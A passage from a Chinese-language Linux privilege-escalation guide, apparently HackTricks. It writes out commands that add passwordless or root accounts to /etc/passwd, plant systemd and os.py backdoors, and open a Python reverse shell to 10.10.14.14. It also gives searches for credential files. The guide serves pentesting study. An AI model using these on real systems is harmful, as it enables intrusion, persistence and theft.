openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
然后添加用户 hacker 并设置生成的密码:
sudo useradd -m -s /bin/bash hacker
echo 'hacker:9&kT4qR#v2LmS7yB' | sudo chpasswd
sudo chage -d 0 hacker
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
例如: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
现在你可以使用 su 命令,以 hacker:hacker 切换用户。
或者,你可以使用以下行来添加一个没有密码的虚拟用户。
警告:这可能会降低该机器当前的安全性。
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
注意:在 BSD 平台上,/etc/passwd 位于 /etc/pwd.db 和 /etc/master.passwd,此外 /etc/shadow 被重命名为 /etc/spwd.db。
你应该检查是否可以写入一些敏感文件。例如,你能否写入某个服务配置文件?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
例如,如果机器正在运行一个 tomcat 服务器,并且你可以 修改 /etc/systemd/ 中的 Tomcat 服务配置文件, 那么你可以修改以下几行:
ExecStart=/path/to/backdoor
User=root
Group=root
你的 backdoor 将在下一次启动 tomcat 时被执行。
检查文件夹
The following folders may contain backups or interesting information: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (你可能无法读取最后一个,但可以尝试)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
异常位置/Owned 文件
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
最近几分钟修改的文件
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Sqlite DB 文件
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 文件
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
隐藏文件
find / -type f -iname ".*" -ls 2>/dev/null
PATH 中的脚本/二进制文件
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Web 文件
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
备份
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
已知包含密码的文件
阅读 linPEAS 的代码,它会搜索 可能包含密码的若干文件。
另一个有趣的工具 是: LaZagne,它是一个开源应用,用于检索存储在本地计算机上的大量密码,适用于 Windows, Linux & Mac。
日志
如果你能读取日志,可能会在其中发现 有趣/机密的信息。日志越奇怪,可能越有价值(大概)。
此外,一些 “不当” 配置(被植入后门?)的 审计日志 可能允许你在审计日志中 记录密码,正如这篇文章所解释的: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
为了读取日志,组 adm 会非常有用。
Shell 文件
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Generic Creds Search/Regex
你还应该检查文件名或文件内容中包含词语 “password” 的文件,也要检查日志中是否包含 IPs 和 emails,或 hashes regexps.\ 我在这里不会列出如何做到所有这些,但如果你感兴趣,可以查看 linpeas 执行的最后几项检查。
可写文件
Python library hijacking
如果你知道 python 脚本将从 哪里 被执行,且你 可以在该文件夹写入 或者你可以 修改 python 库,你就可以修改 OS 库并在其中植入后门(如果你能写入 python 脚本将被执行的位置,复制并粘贴 os.py 库)。
要对该库植入后门,只需在 os.py 库的末尾添加以下一行(更改 IP 和 PORT):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Logrotate exploitation
在 logrotate 中的一个漏洞允许对日志文件或其父目录具有 写权限 的用户可能获得提权。这是因为 logrotate 通常以 root 运行,可能被操纵以执行任意文件,尤其是在像 /etc/bash_completion.d/ 这样的目录中。重要的是不仅检查 /var/log 的权限,还要检查任何应用日志轮换的目录。
Tip
该漏洞影响
logrotate版本3.18.0及更早版本
关于该漏洞的更多详细信息请见此页面: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
你可以使用 logrotten 来利用此漏洞。
这个漏洞与 CVE-2016-1247 (nginx logs), 非常相似,因此每当你发现可以修改日志时,检查谁在管理这些日志,并检查是否可以通过用符号链接替换日志来提升权限。
/etc/sysconfig/network-scripts/ (Centos/Redhat)
漏洞参考: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
如果出于任何原因,用户能够向 /etc/sysconfig/network-scripts 写入 一个 ifcf-<whatever> 脚本 或 能够 调整 已有脚本,那么你的 system is pwned。
Network scripts,例如 ifcg-eth0,用于网络连接。它们看起来与 .INI files 完全相同。然而,它们在 Linux 上被 Network Manager (dispatcher.d) ~sourced~。
在我的案例中,这些网络脚本中的 NAME= 属性未被正确处理。如果名称中有 空格/blank space 在 name 中,系统会尝试执行空格后面的部分。这意味着 第一个空格之后的所有内容都会以 root 身份被执行。
例如: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(注意 Network 和 /bin/id 之间的空格)
init, init.d, systemd, and rc.d
目录 /etc/init.d 是 System V init (SysVinit) 的 脚本 存放位置,SysVinit 是经典的 Linux 服务管理系统。它包含用于 start、stop、restart,有时还有 reload 服务的脚本。这些脚本可以直接执行,或者通过位于 /etc/rc?.d/ 的符号链接来执行。在 Redhat 系统中,另一个可选路径是 /etc/rc.d/init.d。
另一方面,/etc/init 与 Upstart 相关联,Upstart 是 Ubuntu 引入的较新的 service management,使用配置文件来管理服务任务。尽管系统迁移到了 Upstart,但由于 Upstart 中的兼容层,仍然与 Upstart 配置一起使用 SysVinit 脚本。
systemd 作为现代的初始化和服务管理器出现,提供了按需启动守护进程、自动挂载管理和系统状态快照等高级功能。它将文件组织到 /usr/lib/systemd/(用于发行版包)和 /etc/systemd/system/(用于管理员自定义),从而简化系统管理流程。
Other Tricks
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Android rooting frameworks 通常 hook 一个 syscall,将特权内核功能暴露给 userspace manager。弱的 manager 认证(例如,基于 FD-order 的签名检查或薄弱的密码机制)可能允许本地应用冒充该 manager,并在已获得 root 的设备上升级到 root。详情和利用方法请参见:
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
在 VMware Tools/Aria Operations 中,基于 Regex 的 service discovery 可能会从进程命令行中提取二进制路径并在特权上下文中以 -v 执行。宽松的匹配模式(例如使用 \S)可能会匹配攻击者放置在可写位置(例如 /tmp/httpd)上的监听器,从而导致以 root 身份执行(CWE-426 Untrusted Search Path)。
详见并了解适用于其他 discovery/monitoring 堆栈的通用模式:
Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244
Kernel Security Protections
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
More help
Linux/Unix Privesc Tools
Best tool to look for Linux local privilege escalation vectors: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
References
- 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)
- 0xdf – HTB Era: forged .text_sig payload for cron-executed monitor
- 0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)
- alseambusher/crontab-ui
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
- 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
- GNU Bash Manual – BASH_ENV (non-interactive startup file)
- 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)
- 0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)
- 0xdf – HTB Slonik (pg_basebackup cron copy → SUID bash)
- NVISO – You name it, VMware elevates it (CVE-2025-41244)
- 0xdf – HTB: Expressway
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


